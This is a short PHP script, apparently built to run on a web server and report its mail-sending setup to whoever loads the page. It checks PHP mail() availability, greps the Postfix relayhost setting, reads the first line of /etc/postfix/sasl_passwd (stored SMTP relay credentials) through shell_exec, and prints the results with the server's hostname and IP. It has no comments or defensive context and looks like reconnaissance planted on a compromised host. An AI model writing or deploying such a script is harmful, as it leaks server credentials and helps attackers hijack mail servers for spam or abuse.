<?php
set_time_limit(10);
$mail = function_exists('mail') ? (strpos(ini_get('disable_functions'), 'mail') === false ? 'YES' : 'DISABLED') : 'NO';
echo 'MAIL:' . $mail . "\n";
echo 'RELAY:' . trim(shell_exec('grep relayhost /etc/postfix/main.cf 2>/dev/null | head -1') ?: 'none') . "\n";
echo 'SASL:' . trim(shell_exec('cat /etc/postfix/sasl_passwd 2>/dev/null | head -1') ?: 'none') . "\n";
echo 'SSMTP:' . (file_exists('/etc/ssmtp/ssmtp.conf') ? 'YES' : 'NO') . "\n";
echo 'MSMTP:' . (file_exists('/etc/msmtprc') ? 'YES' : 'NO') . "\n";
echo 'SENDMAIL:' . ini_get('sendmail_path') . "\n";
echo 'HOST:' . gethostname() . "\n";
echo 'IP:' . $_SERVER['SERVER_ADDR'] . "\n";
?>